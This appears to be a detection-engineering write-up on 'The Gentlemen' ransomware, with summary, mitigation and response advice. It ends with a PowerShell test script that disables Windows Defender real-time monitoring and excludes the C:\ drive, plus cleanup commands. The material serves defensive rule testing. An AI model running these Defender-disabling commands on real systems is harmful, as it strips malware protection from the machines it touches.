License to Encrypt: When “The Gentlemen” Go On Offense

Summary

The Gentlemen ransomware collective surfaced in July 2025, running a dual-extortion operation that both encrypted victim data and siphoned off sensitive information. The malware is cross-platform, targeting Windows, Linux, and ESXi environments, and includes self-restart capabilities, run-on-boot persistence, and configurable encryption throttling. Propagation relies on WMI, PowerShell remoting, SCHTASKS, and other built-in Windows administration tools. The operators run The Gentlemen as a RaaS offering, providing affiliates with extensive tuning and customization options.

The Gentlemen Ransomware Attack Analysis

Cybereason’s analysis of a 64-bit Golang Windows sample documented its command-line switches, embedded ransom note text, and a broad set of anti-forensic PowerShell routines. Researchers also pinpointed registry locations used for persistence, a service “kill list” aimed at disabling critical processes, and reliance on native Windows binaries for privilege escalation and lateral movement. The encryption pipeline is built on XChaCha20 and Curve25519.

Mitigation

Suggested defensive measures include enforcing multi-factor authentication, maintaining frequent offline backups, promptly applying security patches, and tightening PowerShell and WMI execution controls. Endpoint protection stacks should enable real-time anti-malware, anti-ransomware safeguards, and protection for VSS shadow copies. Security teams should also monitor for abnormal registry modifications, newly created scheduled tasks, and characteristic PowerShell command patterns.

Response

When The Gentlemen ransomware activity is identified, immediately quarantine the impacted system, capture volatile memory, and gather key artifacts, such as registry entries, scheduled tasks, and PowerShell event logs. Perform forensic acquisition of ransom notes and encrypted files, then restore affected systems from trusted backups once eradication is verified. Engage incident response teams to investigate lateral movement paths and evidence of data exfiltration.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Goal: Disable Windows Defender real‑time protection and add an exclusion path to allow the ransomware payload to write encrypted files unhindered.
  2. Method: Use a PowerShell Invoke‑Command with an inline script block that runs the two Defender preference commands. This mirrors the exact syntax observed in “The Gentlemen” ransomware samples.
  3. Steps:
     • Open a PowerShell session with elevated privileges.
     • Execute the Invoke‑Command that contains the malicious script block.
     • Verify that Defender’s real‑time monitoring is disabled and that the exclusion for C:\ is added.
     • (Optional) Create a dummy encrypted file to emulate ransomware activity.

• Regression Test Script: The following self‑contained PowerShell script reproduces the attack exactly as the rule expects.

  # ------------------------------------------------------------------
  # Test script to trigger Sigma rule "Detect PowerShell Commands Used by
  # 'The Gentlemen' Ransomware"
  # ------------------------------------------------------------------
  # Ensure script runs as Administrator
  if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator))
  {
      Write-Error "Run this script with elevated (Administrator) privileges."
      exit 1
  }
  
  # 1️⃣ Disable real‑time monitoring
  Invoke-Command -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $true
  }
  
  # 2️⃣ Add exclusion for the C: drive
  Invoke-Command -ScriptBlock {
      Add-MpPreference -ExclusionPath 'C:\'
  }
  
  # 3️⃣ (Optional) Simulate ransomware file creation
  $dummyPath = "C:\RansomTest\encrypted.txt"
  New-Item -ItemType Directory -Path (Split-Path $dummyPath) -Force | Out-Null
  "This is a mock encrypted payload." | Set-Content -Path $dummyPath -Encoding UTF8
  
  Write-Host "Simulation completed. Defender should now be disabled and exclusion added."

• Cleanup Commands: Restore Defender to its default state and remove test artifacts.

  # ------------------------------------------------------------------
  # Cleanup script – re‑enable Defender and delete test files
  # ------------------------------------------------------------------
  # Re‑enable real‑time monitoring
  Invoke-Command -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $false
  }
  
  # Remove the C:\ exclusion
  Invoke-Command -ScriptBlock {
      Remove-MpPreference -ExclusionPath 'C:\'
  }
  
  # Delete dummy encrypted file and folder
  $dummyPath = "C:\RansomTest\encrypted.txt"
  if (Test-Path $dummyPath) { Remove-Item $dummyPath -Force }
  $folder = Split-Path $dummyPath
  if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
  
  Write-Host "Cleanup completed. Defender settings restored."